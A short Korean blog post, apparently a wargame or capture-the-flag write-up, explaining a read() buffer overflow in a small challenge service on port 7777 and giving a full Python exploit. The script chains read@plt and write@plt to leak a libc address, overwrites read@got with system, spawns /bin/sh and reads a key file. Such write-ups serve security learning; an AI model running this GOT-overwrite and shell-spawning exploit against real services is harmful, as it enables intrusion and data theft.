*환경 : ubuntu 13.10
xinet을 이용, 7777번 포트에서 동작하게 해놓았다.
우선 바이너리를 다운받아 분석해본결과 read함수에서 overflow가 나는것을 확인하였다.
프로그램 자체는 상당히 간단하였다.
아무거나 출력하면 WIN 을 리턴하는 형식이였다
그리하여 내가 생각한 시나리오는
read@got를 system으로 overwrite시켜서 명령어를 수행하는 방식이였다.
1. read@plt call 로 전달할 명령 .bss나 .data영역에 넣기
2. write@plt call 로 read함수의 주소 출력시키기
3. 소켓이용, read함수 주소 낼름 받아먹기
4. read@plt call 로 read@got overwrite시키기
5. 변조된read@plt call 로 명령 수행하기
그리하여 난 파이썬을 사용하여 exploit코드를 작성하였다.
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1',7777))
p=lambda x:pack("<I",x)
up=lambda x:unpack("<I",x)[0]
readplt = 0x0804832c
readgot = 0x0804961c
writeplt = 0x0804830c
custom_stack = 0x08049624
pppr = 0x080484b6
offset = 0x9f630
cmd = "/bin/sh"
payload = ""
payload += "A"*140 #dummy 140bytes
payload += p(readplt) #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(custom_stack) #custom_stack
payload += p(len(cmd)) #cmd length
payload += p(writeplt) #write@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(1) #stdout
payload += p(readgot) #prints read addr
payload += p(4) #length
payload += p(readplt) #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(readgot) #read@got overwrite
payload += p(4) #length
payload += p(readplt) #system
payload += p(0xdeadbeef) #ret
payload += p(custom_stack) #command addr
print "Go Go Go"
s.send(payload+"\n")
s.send(cmd)
read = up(s.recv(4))
print "this is read : "+hex(read)
system=read-offset
print "this is system : "+hex(system)
s.send(p(system))
print "\n!pwned!"
s.send("cat /home/mango/key\n")
print s.recv(1024)
s.close()
PWNED!!
댓글 없음:
댓글 쓰기